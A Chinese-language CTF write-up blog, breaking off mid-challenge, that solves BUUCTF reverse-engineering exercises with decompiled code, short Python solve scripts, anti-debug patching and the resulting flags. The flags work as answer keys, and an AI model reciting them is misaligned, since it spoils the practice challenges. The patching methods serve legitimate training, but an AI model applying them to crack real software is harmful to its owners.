BUUOJ 题库练习

简介

是北京联合大学的一个平台,题目有在更新,但是个人感觉题目难度很迷,不过是动态积分的方式,难度也可以看出来就是了。

Write Up持续更新, 有空就刷, 希望有一天能够刷穿题库

练习平台:BUUCTF

Reverse

easyre

IDA打开,main函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int b; // [rsp+28h] [rbp-8h]
  int a; // [rsp+2Ch] [rbp-4h]

  _main();
  scanf("%d%d", &a, &b);
  if ( a == b )
    printf("flag{this_Is_a_EaSyRe}");
  else
    printf("sorry,you can't get flag");
  return 0;
}

helloword

jeb3打开,MainActivity:

.method protected onCreate(Bundle)V
          .registers 6
00000000  invoke-super        ActionBarActivity->onCreate(Bundle)V, p0, p1
00000006  const               v3, 0x7F030018
0000000C  invoke-virtual      MainActivity->setContentView(I)V, p0, v3
00000012  const-string        v0, "flag{7631a988259a00816deda84afb29430a}"
00000016  const-string        v1, "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
0000001A  invoke-virtual      String->compareTo(String)I, v0, v1
00000020  move-result         v2
00000022  return-void
.end method

reverse1

IDA打开,追踪字符串到主要函数:

__int64 sub_1400118C0()
{
  char *v0; // rdi
  signed __int64 i; // rcx
  size_t v2; // rax
  size_t v3; // rax
  char v5; // [rsp+0h] [rbp-20h]
  int j; // [rsp+24h] [rbp+4h]
  char Str1; // [rsp+48h] [rbp+28h]
  unsigned __int64 v8; // [rsp+128h] [rbp+108h]

  v0 = &v5;
  for ( i = 82i64; i; --i )
  {
    *(_DWORD *)v0 = -858993460;
    v0 += 4;
  }
  for ( j = 0; ; ++j )
  {
    v8 = j;
    v2 = j_strlen(Str2);
    if ( v8 > v2 )
      break;
    if ( Str2[j] == 111 )
      Str2[j] = 48;
  }
  sub_1400111D1("input the flag:");
  sub_14001128F("%20s", &Str1);
  v3 = j_strlen(Str2);
  if ( !strncmp(&Str1, Str2, v3) )
    sub_1400111D1("this is the right flag!\n");
  else
    sub_1400111D1("wrong flag\n");
  sub_14001113B(&v5, &unk_140019D00);
  return 0i64;
}

查看Str2:

.data:000000014001C000 Str2            db '{hello_world}',0

flag{hello_world}

reverse2

IDA打开,主函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax
  int stat_loc; // [rsp+4h] [rbp-3Ch]
  int i; // [rsp+8h] [rbp-38h]
  __pid_t pid; // [rsp+Ch] [rbp-34h]
  char s2; // [rsp+10h] [rbp-30h]
  unsigned __int64 v8; // [rsp+28h] [rbp-18h]

  v8 = __readfsqword(0x28u);
  pid = fork();
  if ( pid )
  {
    argv = (const char **)&stat_loc;
    waitpid(pid, &stat_loc, 0);
  }
  else
  {
    for ( i = 0; i <= strlen(flag); ++i )
    {
      if ( flag[i] == 'i' || flag[i] == 'r' )
        flag[i] = '1';
    }
  }
  printf("input the flag:", argv);
  __isoc99_scanf("%20s", &s2);
  if ( !strcmp(flag, &s2) )
    result = puts("this is the right flag!");
  else
    result = puts("wrong flag!");
  return result;
}

查看flag:

.data:0000000000601080 flag            db '{'                  ; DATA XREF: main+34↑r
.data:0000000000601080                                         ; main+44↑r ...
.data:0000000000601081 aHackingForFun  db 'hacking_for_fun}',0

由于前面:

for ( i = 0; i <= strlen(flag); ++i )
    {
      if ( flag[i] == 'i' || flag[i] == 'r' )
        flag[i] = '1';
    }

so,最终flag为:

flag{hack1ng_fo1_fun}

刮开有奖

IDA打开,查看字符串发现base64 table表

.rdata:00407830 byte_407830     db 41h                  ; DATA XREF: sub_401000+C0↑r
.rdata:00407831 aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',0

整理一下:

.rdata:00407830 aAbcdefghijklmn db 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='

追到判断函数,根据经验修改类型和大小:

BOOL __stdcall DialogFunc(HWND hDlg, UINT a2, WPARAM a3, LPARAM a4)
{
  const char *v4; // esi
  const char *v5; // edi
  int key[11]; // [esp+8h] [ebp-20030h]
  CHAR input[8]; // [esp+34h] [ebp-20004h]
  CHAR v9; // [esp+10034h] [ebp-10004h]
  CHAR v10; // [esp+10035h] [ebp-10003h]
  CHAR v11; // [esp+10036h] [ebp-10002h]

  if ( a2 == 272 )
    return 1;
  if ( a2 != 273 )
    return 0;
  if ( (_WORD)a3 == 1001 )
  {
    memset(input, 0, 0xFFFFu);
    GetDlgItemTextA(hDlg, 1000, input, 0xFFFF);
    if ( strlen(input) == 8 )
    {
      key[0] = 90;
      key[1] = 74;
      key[2] = 83;
      key[3] = 69;
      key[4] = 67;
      key[5] = 97;
      key[6] = 78;
      key[7] = 72;
      key[8] = 51;
      key[9] = 110;
      key[10] = 103;
      sub_4010F0(key, 0, 10);
      memset(&v9, 0, 0xFFFFu);
      v9 = input[5];
      v11 = input[7];
      v10 = input[6];
      v4 = base64((int)&v9, strlen(&v9));
      memset(&v9, 0, 0xFFFFu);
      v10 = input[3];
      v9 = input[2];
      v11 = input[4];
      v5 = base64((int)&v9, strlen(&v9));
      if ( input[0] == key[0] + 34
        && input[1] == key[4]
        && 4 * input[2] - 141 == 3 * key[2]
        && input[3] / 4 == 2 * (key[7] / 9)
        && !strcmp(v4, "ak1w")
        && !strcmp(v5, "V1Ax") )
      {
        MessageBoxA(hDlg, "U g3t 1T!", "@_@", 0);
      }
    }
    return 0;
  }
  if ( (_WORD)a3 != 1 && (_WORD)a3 != 2 )
    return 0;
  EndDialog(hDlg, (unsigned __int16)a3);
  return 1;
}

sub_4010F0(key, 0, 10):

int __cdecl sub_4010F0(int *a1, int a2, int num_10)
{
  int result; // eax
  int i; // esi
  int v5; // ecx
  int v6; // edx

  result = num_10;
  for ( i = a2; i <= num_10; a2 = i )
  {
    v5 = i;
    v6 = a1[i];
    if ( a2 < result && i < result )
    {
      do
      {
        if ( v6 > a1[result] )
        {
          if ( i >= result )
            break;
          ++i;
          a1[v5] = a1[result];
          if ( i >= result )
            break;
          while ( a1[i] <= v6 )
          {
            if ( ++i >= result )
              goto LABEL_13;
          }
          if ( i >= result )
            break;
          v5 = i;
          a1[result] = a1[i];
        }
        --result;
      }
      while ( i < result );
    }
LABEL_13:
    a1[result] = v6;
    sub_4010F0(a1, a2, i - 1);
    result = num_10;
    ++i;
  }
  return result;
}

研究一下就会发现是个从小到大的排序。

则解密脚本如下:

import base64

s2 = base64.b64decode("ak1w")
s1 = base64.b64decode("V1Ax")

key = [ 0 for i in xrange(11) ]

key[0] = 90
key[1] = 74
key[2] = 83
key[3] = 69
key[4] = 67
key[5] = 97
key[6] = 78
key[7] = 72
key[8] = 51
key[9] = 110
key[10] = 103

key.sort()

flag = chr(key[0] + 34) + chr(key[4]) + s1 + s2

print flag

flag{UJWP1jMp}

rsa

打开来两个文件,公钥密文都有,解密脚本如下:

from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
from Crypto.Util.number import inverse
import base64

message = open('flag.enc',"r")
cipher_text = message.read()
f = open('pub.key', "r")
publickey = f.read()
publickey = RSA.importKey(publickey)
# print(publickey.n)
# print(publickey.e)
n = 86934482296048119190666062003494800588905656017203025617216654058378322103517
e = 65537
p = 285960468890451637935629440372639283459
q = 304008741604601924494328155975272418463
r = (p - 1) * (q - 1)
d = inverse(e,r)
# print d
privatekey = RSA.construct((long(n), long(e), long(d), long(p), long(q)))
key = PKCS1_v1_5.new(privatekey)
msg = key.decrypt(cipher_text, e)

print msg

flag{decrypt_256}

参考:

RSA-ctf-wiki

整数分解

CrackRTF

IDA打开,追踪字符串到主要函数:

int main_0()
{
  DWORD v0; // eax
  DWORD v1; // eax
  CHAR String; // [esp+4Ch] [ebp-310h]
  int v4; // [esp+150h] [ebp-20Ch]
  CHAR String1; // [esp+154h] [ebp-208h]
  char input[6]; // [esp+258h] [ebp-104h]

  memset(input, 0, 0x104u);
  memset(&String1, 0, 0x104u);
  v4 = 0;
  printf("pls input the first passwd(1): ");
  scanf("%s", input);
  if ( strlen(input) != 6 )
  {
    printf("Must be 6 characters!\n");
    ExitProcess(0);
  }
  v4 = atoi(input);
  if ( v4 < 100000 )
    ExitProcess(0);
  strcat(input, "@DBApp");
  v0 = strlen(input);
  sub_40100A((BYTE *)input, v0, &String1);
  if ( !_strcmpi(&String1, "6E32D0943418C2C33385BC35A1470250DD8923A9") )
  {
    printf("continue...\n\n");
    printf("pls input the first passwd(2): ");
    memset(&String, 0, 0x104u);
    scanf("%s", &String);
    if ( strlen(&String) != 6 )
    {
      printf("Must be 6 characters!\n");
      ExitProcess(0);
    }
    strcat(&String, input);
    memset(&String1, 0, 0x104u);
    v1 = strlen(&String);
    sub_401019((BYTE *)&String, v1, &String1);
    if ( !_strcmpi("27019e688a4e62a649fd99cadaafdb4e", &String1) )
    {
      if ( !(unsigned __int8)sub_40100F(&String) )
      {
        printf("Error!!\n");
        ExitProcess(0);
      }
      printf("bye ~~\n");
    }
  }
  return 0;
}

输入两次验证flag。

第一次

hash值在线爆破,直接得第一部分123321,进入第二部分

D:\CTF\Games\Exam\BUUCTF\CrackRTF>CrackRTF.exe
pls input the first passwd(1): 123321
continue...

pls input the first passwd(2):

第二次

无法爆破,观察到sub_40100F函数中:

char __cdecl sub_4014D0(LPCSTR lpString)
{
  LPCVOID lpBuffer; // [esp+50h] [ebp-1Ch]
  DWORD NumberOfBytesWritten; // [esp+58h] [ebp-14h]
  DWORD nNumberOfBytesToWrite; // [esp+5Ch] [ebp-10h]
  HGLOBAL hResData; // [esp+60h] [ebp-Ch]
  HRSRC hResInfo; // [esp+64h] [ebp-8h]
  HANDLE hFile; // [esp+68h] [ebp-4h]

  hFile = 0;
  hResData = 0;
  nNumberOfBytesToWrite = 0;
  NumberOfBytesWritten = 0;
  hResInfo = FindResourceA(0, (LPCSTR)0x65, "AAA");
  if ( !hResInfo )
    return 0;
  nNumberOfBytesToWrite = SizeofResource(0, hResInfo);
  hResData = LoadResource(0, hResInfo);
  if ( !hResData )
    return 0;
  lpBuffer = LockResource(hResData);
  sub_401005(lpString, (int)lpBuffer, nNumberOfBytesToWrite);
  hFile = CreateFileA("dbapp.rtf", 0x10000000u, 0, 0, 2u, 0x80u, 0);
  if ( hFile == (HANDLE)-1 )
    return 0;
  if ( !WriteFile(hFile, lpBuffer, nNumberOfBytesToWrite, &NumberOfBytesWritten, 0) )
    return 0;
  CloseHandle(hFile);
  return 1;
}

会生成一个dbapp.rtf文件。

随便输入123321得,此处用010editor打开:

20190707134714

在生成文件前sub_401005进行了异或操作:

unsigned int __cdecl sub_401420(LPCSTR lpString, int a2, int a3)
{
  unsigned int result; // eax
  unsigned int i; // [esp+4Ch] [ebp-Ch]
  unsigned int v5; // [esp+54h] [ebp-4h]

  v5 = lstrlenA(lpString);
  for ( i = 0; ; ++i )
  {
    result = i;
    if ( i >= a3 )
      break;
    *(_BYTE *)(i + a2) ^= lpString[i % v5];
  }
  return result;
}

则可以逆解出异或因子:

s = [0x34,0x4f,0x72,0x26,0x14,0x30,0x5c,0x61,0x6e,0x73,0x69,0x5c,0x61,0x6e,0x73,0x69,0x63,0x70,0x28,0x2a,0x33,0x64,0x2e,0x65,0x65,0x66,0x66,0x30,0x5c,0x64,0x65,0x66,0x6c,0x61,0x6e,0x67,0x7e,0x23,0x33,0x61,0x2e,0x65,0x65,0x66,0x6c,0x61,0x6e,0x67,0x66,0x65,0x32,0x30,0x35,0x32,0x34,0x4f,0x66,0x3d,0x1c,0x75,0x74,0x62,0x6c,0x7b,0x5c,0x66,0x30,0x5c,0x66,0x6d,0x6f,0x64,0x2a,0x61,0x6e,0x0e,0x14,0x71,0x72,0x71,0x36,0x5c,0x66,0x63,0x68,0x61,0x72,0x73,0x65,0x74,0x7e,0x20,0x34,0x72,0x2e,0x26,0x63,0x62,0x5c,0x27,0x63,0x65,0x5c,0x27,0x63,0x63,0x5c,0x27,0x2a,0x26,0x3b,0x2f,0x0f,0x0c,0x0a,0x7b,0x5c,0x2a,0x5c,0x67,0x65,0x6e,0x65,0x72,0x61,0x74,0x20,0x61,0x20,0x1f,0x01,0x67,0x74,0x65,0x64,0x69,0x74,0x20,0x35,0x2e,0x34,0x31,0x2e,0x31,0x7a,0x3d,0x31,0x67,0x43,0x34,0x3b,0x7d,0x5c,0x76,0x69,0x65,0x77,0x6b,0x69,0x6e,0x64,0x34,0x13,0x66,0x63,0x63,0x2e,0x71,0x61,0x72,0x64,0x5c,0x6c,0x61,0x6e,0x67,0x32,0x30,0x35,0x32,0x13,0x75,0x30,0x0e,0x14,0x72,0x32,0x30,0x20,0x46,0x6c,0x61,0x67,0x5c,0x7b,0x4e,0x30,0x5f,0x02,0x23,0x72,0x37,0x2d,0x47,0x72,0x65,0x65,0x5f,0x42,0x75,0x67,0x73,0x5c,0x7d,0x5c,0x70,0x2e,0x61,0x0d,0x58,0x0f,0x0c,0x0a,0x00]

key = map(ord, "123321123321@DBApp")

for i in xrange(len(s)):
    s[i] ^= key[i % len(key)]

在本地新建RTF文件,可知文件头6位应该为”{\\rtf1“,则可解出第二次输入的字符:

key = map(ord, "{\\rtf1")
for i in xrange(len(key)):
    s[i] ^= key[i]

print "".join(map(chr,s[0:6]))

为:~!3a@0

输入得最终rtf文件,里面就有flag,为:

Flag{N0_M0re_Free_Bugs}（提交时要将F改为f）

crackMe

解压得crackMe.exe,打开:

Come one! Crack Me~~~
user(6-16 letters or numbers):

user已经给出,为welcomebeijing

输入后:

password(6-16 letters or numbers):

IDA打开,跟踪字符串到主要函数,根据经验稍做修改:

int __usercall wmain@<eax>(int a1@<ebx>)
{
  FILE *v1; // eax
  FILE *v2; // eax
  char v4; // [esp+3h] [ebp-405h]
  char v5; // [esp+4h] [ebp-404h]
  char v6; // [esp+5h] [ebp-403h]
  char v7; // [esp+104h] [ebp-304h]
  char v8; // [esp+105h] [ebp-303h]
  char password[16]; // [esp+204h] [ebp-204h]
  char user[16]; // [esp+304h] [ebp-104h]

  printf("Come one! Crack Me~~~\n");
  user[0] = 0;
  memset(&user[1], 0, 0xFFu);
  password[0] = 0;
  memset(&password[1], 0, 0xFFu);
  while ( 1 )
  {
    do
    {
      do
      {
        printf("user(6-16 letters or numbers):");
        scanf("%s", user);
        v1 = (FILE *)sub_3E24BE();
        fflush(v1);
      }
      while ( !(unsigned __int8)sub_3E1000(user) );
      printf("password(6-16 letters or numbers):");
      scanf("%s", password);
      v2 = (FILE *)sub_3E24BE();
      fflush(v2);
    }
    while ( !(unsigned __int8)sub_3E1000(password) );
    init_box(user);
    v7 = 0;
    memset(&v8, 0, 0xFFu);
    v5 = 0;
    memset(&v6, 0, 0xFFu);
    v4 = init_print(&v7, &v5);
    if ( check(a1, user, password) )
    {
      if ( v4 )
        break;
    }
    printf(&v5);
  }
  printf(&v7);
  return 0;
}

由调试分析得:

init_box函数会将user进行一波操作生成一个box用于后面的异或操作。

可以直接导出,但后面其实没必要用到。

init_print函数会初始化两个输出字符串,一个成功一个失败,但由于有异常花指令导致IDA无法识别为函数,根据分析,直接将异常nop掉就可以了

.text:003E11EA 0               nop
.text:003E11EB 0               nop
.text:003E11EC 0               nop
.text:003E11ED 0               nop
.text:003E11EE 0               nop
.text:003E11EF 0               nop
.text:003E11F0 0               aaa

接着就重要的check函数:

bool __cdecl check(char *user, const char *password)
{
  int v3; // [esp+18h] [ebp-22Ch]
  unsigned int v4; // [esp+1Ch] [ebp-228h]
  unsigned int v5; // [esp+28h] [ebp-21Ch]
  unsigned int v6; // [esp+30h] [ebp-214h]
  char v7; // [esp+36h] [ebp-20Eh]
  char v8; // [esp+37h] [ebp-20Dh]
  char v9; // [esp+38h] [ebp-20Ch]
  unsigned __int8 v10; // [esp+39h] [ebp-20Bh]
  unsigned __int8 v11; // [esp+3Ah] [ebp-20Ah]
  char v12; // [esp+3Bh] [ebp-209h]
  int v13; // [esp+3Ch] [ebp-208h]
  char v14; // [esp+40h] [ebp-204h]
  char v15; // [esp+41h] [ebp-203h]
  _BYTE key[256]; // [esp+140h] [ebp-104h]

  v4 = 0;
  v5 = 0;
  v11 = 0;
  v10 = 0;
  key[0] = 0;
  memset(&check_num[1], 0, 0xFFu);
  v14 = 0;
  memset(&v15, 0, 0xFFu);
  v9 = 0;
  v6 = 0;
  v3 = 0;
  while ( v6 < strlen(password) )
  {
    if ( isdigit(password[v6]) )
    {
      v8 = password[v6] - 48;
    }
    else if ( isxdigit(password[v6]) )
    {
      if ( *(_DWORD *)(*(_DWORD *)(__readfsdword(0x30u) + 24) + 12) != 2 )
        password[v6] = 34;
      v8 = (password[v6] | 0x20) - 87;
    }
    else
    {
      v8 = ((password[v6] | 0x20) - 97) % 6 + 10;
    }
    v9 = v8 + 16 * v9;
    if ( !((signed int)(v6 + 1) % 2) )
    {
      *(&v14 + v3++) = v9;
      v9 = 0;
    }
    ++v6;
  }
  while ( (signed int)v5 < 8 )
  {
    v10 += box[++v11];
    v12 = box[v11];
    v7 = box[v10];
    box[v10] = v12;
    box[v11] = v7;
    if ( *(_DWORD *)(__readfsdword(0x30u) + 104) & 0x70 )
      v12 = v10 + v11;
    key[v5] = box[(unsigned __int8)(v7 + v12)] ^ *(&v14 + v4);
    if ( *(_DWORD *)(__readfsdword(0x30u) + 2) & 0xFF )
    {
      v10 = -83;
      v11 = 43;
    }
    xor(check_num, user, v5++);
    v4 = v5;
    if ( v5 >= &v14 + strlen(&v14) + 1 - &v15 )
      v4 = 0;
  }
  v13 = 0;
  check2(key, &check_num);
  return check_num == 43924;
}

根据调试,输入的password会每两个为一组(第一个while就是在将输入转为两个为一组的十六进制字符),来与box中的特定位置的数异或,得到一组8个key,后进入check2进行验证,最终得到check_num == 43924则成功。

check2:

_DWORD *__usercall check2@<eax>(int a1@<ebx>, _BYTE *key, _DWORD *a3)
{
  int v3; // ST28_4
  int v4; // ecx
  int v6; // edx
  int v8; // ST20_4
  int v9; // eax
  int v10; // edi
  int v11; // ST1C_4
  int v12; // edx
  char v13; // di
  int v14; // ST18_4
  int v15; // eax
  int v16; // ST14_4
  int v17; // edx
  char v18; // al
  int v19; // ST10_4
  int v20; // ecx
  int v23; // ST0C_4
  int v24; // eax
  _DWORD *result; // eax
  int v26; // edx

  if ( *key == 100 )
  {
    *a3 |= 4u;
    v4 = *a3;
  }
  else
  {
    *a3 ^= 3u;
  }
  v3 = *a3;
  if ( key[1] == 98 )
  {
    _EAX = a3;
    *a3 |= 0x14u;
    v6 = *a3;
  }
  else
  {
    *a3 &= 0x61u;
    _EAX = (_DWORD *)*a3;
  }
  __asm { aam }
  if ( key[2] == 97 )
  {
    *a3 |= 0x84u;
    v9 = *a3;
  }
  else
  {
    *a3 &= 0xAu;
  }
  v8 = *a3;
  v10 = ~(a1 >> -91);
  if ( key[3] == 112 )
  {
    *a3 |= 0x114u;
    v12 = *a3;
  }
  else
  {
    *a3 >>= 7;
  }
  v11 = *a3;
  v13 = v10 - 1;
  if ( key[4] == 112 )
  {
    *a3 |= 0x380u;
    v15 = *a3;
  }
  else
  {
    *a3 *= 2;
  }
  v14 = *a3;
  if ( *(_DWORD *)(*(_DWORD *)(__readfsdword(0x30u) + 24) + 12) != 2 )
  {
    if ( key[5] == 102 )
    {
      *a3 |= 0x2DCu;
      v17 = *a3;
    }
    else
    {
      *a3 |= 0x21u;
    }
    v16 = *a3;
  }
  if ( key[5] == 115 )
  {
    *a3 |= 0xA04u;
    v18 = (char)a3;
    v20 = *a3;
  }
  else
  {
    v18 = (char)a3;
    *a3 ^= 0x1ADu;
  }
  v19 = *a3;
  _AL = v18 - v13;
  __asm { daa }
  if ( key[6] == 101 )
  {
    *a3 |= 0x2310u;
    v24 = *a3;
  }
  else
  {
    *a3 |= 0x4Au;
  }
  v23 = *a3;
  if ( key[7] == 99 )
  {
    result = a3;
    *a3 |= 0x8A10u;
    v26 = *a3;
  }
  else
  {
    *a3 &= 0x3A3u;
    result = (_DWORD *)*a3;
  }
  return result;
}

由分析可知,key应该为:key = [100, 98, 97, 112, 112, 115, 101, 99],即dbappsec（本来key[5]可能值为115或102但前面由做过以dbappsec为密钥的题,便猜测为dbappsec）

接着,根据调试可知,xor函数是将key和user每位对应异或。

接着在调试中将box参与异或的位数提取出来,即可,但解出来本地输入就错误,故猜测下面这两处地方将异或操作进行了类似于反调试的操作,故将这两处直接nop掉

if ( *(_DWORD *)(__readfsdword(0x30u) + 104) & 0x70 )
      v12 = v10 + v11;

if ( *(_DWORD *)(__readfsdword(0x30u) + 2) & 0xFF )
    {
      v10 = -83;
      v11 = 43;
    }

最终得到解密脚本:

key = [100, 98, 97, 112, 112, 115, 101, 99]
print "".join(map(chr,key))
xor = [0x2A, 0xD7, 0x92, 0xE9, 0x53, 0xE2, 0xC4, 0xCD]

user = "welcomebeijing"

for i in xrange(len(key)):
    key[i] ^= ord(user[i])
    key[i] ^= xor[i]
    print hex(key[i])[2:]

得到:39d09ffa4cfcc4cc

本地输入不会出现Please try again则猜测通过,但md532位小写hash加密后提交却不对,陷入自闭。

后用cmd打开crackMe.exe发现39d09ffa4cfcc4cc是错误的！

故用cmd直接打开,用IDA attach上去调试,xor数组不变但原程序中xor函数中不执行异或操作,实际毫无效果。

xor

因为调试直接跳过,就没有注意到下面会因为窗口的不同而不同,还是tcl…..

StartupInfo.dwX
    || StartupInfo.dwY
    || StartupInfo.dwXCountChars
    || StartupInfo.dwYCountChars
    || StartupInfo.dwFillAttribute
    || StartupInfo.dwXSize
    || StartupInfo.dwYSize

最终解密脚本为:

key = [100, 98, 97, 112, 112, 115, 101, 99]
print "".join(map(chr,key))
xor = [0x2A, 0xD7, 0x92, 0xE9, 0x53, 0xE2, 0xC4, 0xCD]

user = "welcomebeijing"

for i in xrange(len(key)):
    key[i] ^= xor[i]
    print hex(key[i])[2:]

得到第二个密码4EB5F3992391A1AE

user(6-16 letters or numbers):welcomebeijing
password(6-16 letters or numbers):4EB5F3992391A1AE
Congratulations:

之后进行md5加密后提交,得正确flag:

flag{d2be2981b84f2a905669995873d6a36c}

findit

下载下来是个apk文件,就直接jeb打开,根据字符串找到主要函数:

protected void onCreate(Bundle arg8) {
        super.onCreate(arg8);
        this.setContentView(0x7F030018);
        this.findViewById(0x7F05003D).setOnClickListener(new View$OnClickListener(new char[]{'T', 'h', 'i', 's', 'I', 's', 'T', 'h', 'e', 'F', 'l', 'a', 'g', 'H', 'o', 'm', 'e'}, this.findViewById(0x7F05003E), new char[]{'p', 'v', 'k', 'q', '{', 'm', '1', '6', '4', '6', '7', '5', '2', '6', '2', '0', '3', '3', 'l', '4', 'm', '4', '9', 'l', 'n', 'p', '7', 'p', '9', 'm', 'n', 'k', '2', '8', 'k', '7', '5', '}'}, this.findViewById(0x7F05003F)) {
            public void onClick(View arg13) {
                int v11 = 17;
                int v10 = 0x7A;
                int v9 = 90;
                int v8 = 65;
                int v7 = 97;
                char[] v3 = new char[v11];
                char[] v4 = new char[38];
                int v0;
                for(v0 = 0; v0 < v11; ++v0) {
                    if(this.val$a[v0] >= 73 || this.val$a[v0] < v8) {
                        if(this.val$a[v0] < 105 && this.val$a[v0] >= v7) {
                        label_39:
                            v3[v0] = ((char)(this.val$a[v0] + 18));
                            goto label_44;
                        }

                        if(this.val$a[v0] >= v8 && this.val$a[v0] <= v9 || this.val$a[v0] >= v7 && this.val$a[v0] <= v10) {
                            v3[v0] = ((char)(this.val$a[v0] - 8));
                            goto label_44;
                        }

                        v3[v0] = this.val$a[v0];
                    }
                    else {
                        goto label_39;
                    }

                label_44:
                }

                if(String.valueOf(v3).equals(this.val$edit.getText().toString())) {
                    v0 = 0;
                    goto label_18;
                }
                else {
                    this.val$text.setText("答案错了肿么办。。。不给你又不好意思。。。哎呀好纠结啊~~~");
                    return;
                label_18:
                    while(v0 < 38) {
                        if(this.val$b[v0] < v8 || this.val$b[v0] > v9) {
                            if(this.val$b[v0] >= v7 && this.val$b[v0] <= v10) {
                            label_80:
                                v4[v0] = ((char)(this.val$b[v0] + 16));
                                if((v4[v0] <= v9 || v4[v0] >= v7) && v4[v0] < v10) {
                                    goto label_95;
                                }

                                v4[v0] = ((char)(v4[v0] - 26));
                                goto label_95;
                            }

                            v4[v0] = this.val$b[v0];
                        }
                        else {
                            goto label_80;
                        }

                    label_95:
                        ++v0;
                    }

                    this.val$text.setText(String.valueOf(v4));
                }
            }
        });
    }

观察后发现解题方法有2:

1.逆推出输入

2.复现flag生成过程

我这里采用第2种,脚本如下:

flag = "pvkq{m164675262033l4m49lnp7p9mnk28k75}"
flag = map(ord,flag)

v11 = 17
v10 = 0x7A
v9 = 90
v8 = 65
v7 = 97

for i in xrange(len(flag)):
    if flag[i] < v8 or flag[i] > v9:
        if flag[i] >= v7 and flag[i] <= v10 :
            flag[i] += 16
            if (flag[i] <= v9 or flag[i] >= v7) and flag[i] < v10:
                continue
            flag[i] = flag[i] - 26
            continue
    else:
        flag[i] += 16
        if (flag[i] <= v9 or flag[i] >= v7) and flag[i] < v10:
            continue
        flag[i] = flag[i] - 26
        continue

print "".join(map(chr,flag))

得flag:
flag{c164675262033b4c49bdf7f9cda28a75}

新年快乐

IDA打开, UPX壳, 官方工具直接脱

重新打开,直接能看到flag

xnkl-main

得flag:

flag{HappyNewYear!}

内涵的软件

IDA打开直接看到flag

reverse3-main

得flag:

flag{49d3c93df25caad81232130f3d2ebfad}

xor

IDA打开,简单的异或题

xor-main

python脚本:

s = [0x66, 0x0A, 0x6B, 0x0C, 0x77, 0x26, 0x4F, 0x2E, 0x40, 0x11, 0x78, 0x0D, 0x5A, 0x3B, 0x55, 0x11, 0x70, 0x19, 0x46, 0x1F, 0x76, 0x22, 0x4D, 0x23, 0x44, 0x0E, 0x67, 0x06, 0x68, 0x0F, 0x47, 0x32, 0x4F]

for i in range(31, -1, -1):
    s[i + 1] ^= s[i]

print(''.join(map(chr,s)))

得到flag:

flag{QianQiuWanDai_YiTongJiangHu}

reverse3

IDA打开简单的加密

reverse3-main

import base64
s = bytearray(b"e3nifIH9b_C@n@dH")

for i in range(len(s)):
    s[i] -= i

print(base64.b64decode(s))

得到flag:

flag{i_l0ve_you}

SimpleRev

WSL子系统运行不了,file 一下是ELF 64-bit LSB程序

IDA打开,主要逻辑如下

unsigned __int64 Decry()
{
  char v1; // [rsp+Fh] [rbp-51h]
  int v2; // [rsp+10h] [rbp-50h]
  int v3; // [rsp+14h] [rbp-4Ch]
  int i; // [rsp+18h] [rbp-48h]
  int v5; // [rsp+1Ch] [rbp-44h]
  char src[8]; // [rsp+20h] [rbp-40h]
  __int64 v7; // [rsp+28h] [rbp-38h]
  int v8; // [rsp+30h] [rbp-30h]
  __int64 v9; // [rsp+40h] [rbp-20h]
  __int64 v10; // [rsp+48h] [rbp-18h]
  int v11; // [rsp+50h] [rbp-10h]
  unsigned __int64 v12; // [rsp+58h] [rbp-8h]

  v12 = __readfsqword(0x28u);
  *(_QWORD *)src = 'SLCDN';
  v7 = 0LL;
  v8 = 0;
  v9 = 'wodah';
  v10 = 0LL;
  v11 = 0;
  text = join(key3, (const char *)&v9); // join函数的作用是拼接 最终text='killshadow'
  strcpy(key, key1); // 把key1 'ADSFK' 复制到key
  strcat(key, src); // 把'SLCDN'反着接到后面 最后key='ADSFKNDCLS'
  v2 = 0;
  v3 = 0;
  getchar();
  v5 = strlen(key);
  for ( i = 0; i < v5; ++i ) // key大写变小写
  {
    if ( key[v3 % v5] > 64 && key[v3 % v5] <= 90 )
      key[i] = key[v3 % v5] + 32;
    ++v3;
  }
  printf("Please input your flag:", src);
  while ( 1 )
  {
    v1 = getchar();
    if ( v1 == 10 )
      break;
    if ( v1 == 32 )
    {
      ++v2;
    }
    else
    {
      if ( v1 <= '`' || v1 > 'z' )
      {
        if ( v1 > '@' && v1 <= 'Z' ) // 这部分可以之间爆
          str2[v2] = (v1 - 39 - key[v3++ % v5] + 97) % 26 + 97;
      }
      else
      {
        str2[v2] = (v1 - 39 - key[v3++ % v5] + 97) % 26 + 97;
      }
      if ( !(v3 % v5) )
        putchar(32);
      ++v2;
    }
  }
  if ( !strcmp(text, str2) )
    puts("Congratulation!\n");
  else
    puts("Try again!\n");
  return __readfsqword(0x28u) ^ v12;
}

爆破脚本:

text = bytearray(b"killshadow")

key = bytearray(b"ADSFKNDCLS")

for i in range(len(key)):
    c = key[i]
    if ord('@') < c <= ord('Z'):
        key[i] += 32

flag = ""

for i in range(len(key)):
    for f in range(0x41, 0x80):
        if ((f - 39 - key[i] + 97) % 26 + 97) == text[i]:
            flag += chr(f)
            break
print(flag)

得到flag

flag{KLDQCUDFZO}

不一样的flag

主逻辑在main中,根据经验,是一道典型的迷宫题

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v3; // [esp+17h] [ebp-35h]
  int v4; // [esp+30h] [ebp-1Ch]
  int v5; // [esp+34h] [ebp-18h]
  signed int v6; // [esp+38h] [ebp-14h]
  int i; // [esp+3Ch] [ebp-10h]
  int v8; // [esp+40h] [ebp-Ch]

  __main();
  v4 = 0;
  v5 = 0;
  qmemcpy(&v3, _data_start__, 0x19u);
  while ( 1 )
  {
    puts("you can choose one action to execute");
    puts("1 up");
    puts("2 down");
    puts("3 left");
    printf("4 right\n:");
    scanf("%d", &v6);
    if ( v6 == 2 )
    {
      ++v4;
    }
    else if ( v6 > 2 )
    {
      if ( v6 == 3 )
      {
        --v5;
      }
      else
      {
        if ( v6 != 4 )
LABEL_13:
          exit(1);
        ++v5;
      }
    }
    else
    {
      if ( v6 != 1 )
        goto LABEL_13;
      --v4;
    }
    for ( i = 0; i <= 1; ++i )
    {
      if ( *(&v4 + i) < 0 || *(&v4 + i) > 4 )
        exit(1);
    }
    if ( *((_BYTE *)&v8 + 5 * v4 + v5 - 0x29) == '1' )
      exit(1);
